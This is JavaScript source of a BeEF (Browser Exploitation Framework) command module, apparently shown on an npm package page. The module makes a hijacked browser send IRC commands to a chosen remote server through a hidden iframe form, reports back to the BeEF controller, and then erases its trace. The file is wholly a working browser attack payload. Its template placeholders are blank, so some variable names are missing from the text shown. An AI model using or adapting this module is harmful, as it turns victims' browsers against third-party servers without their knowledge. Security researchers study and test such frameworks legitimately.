beef-npm
Version:
Node.js package to install and interact with BeEF (Browser Exploitation Framework)
38 lines (31 loc) • 1.23 kB
JavaScript
//
// Copyright (c) 2006-2024Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/**
* Inter protocol IRC module
* Developed by jgaliana
*
* It is known that some IRC servers have protections against browser's connections in order to prevent attacks seen in the wild
* http://www.theregister.co.uk/2010/01/30/firefox_interprotocol_attack/
*/
beef.execute(function() {
var rhost = '<%= %>';
var rport = '<%= %>';
var nick = '<%= %>';
var channel = '<%= %>';
var message = '<%= %>';
var irc_commands = "NICK " + nick + "\n";
irc_commands += "USER " + nick + " 8 * : " + nick + " user\n";
irc_commands += "JOIN " + channel + "\n";
irc_commands += "PRIVMSG " + channel + " :" + message + "\nQUIT\n";
// send commands
var irc_iframe_<%= %> = beef.dom.createIframeIpecForm(rhost, rport, "/index.html", irc_commands);
beef.net.send("<%= @command_url %>", <%= %>, "result=IRC command sent");
// clean up
cleanup = function() {
document.body.removeChild(irc_iframe_<%= %>);
}
setTimeout("cleanup()", 15000);
});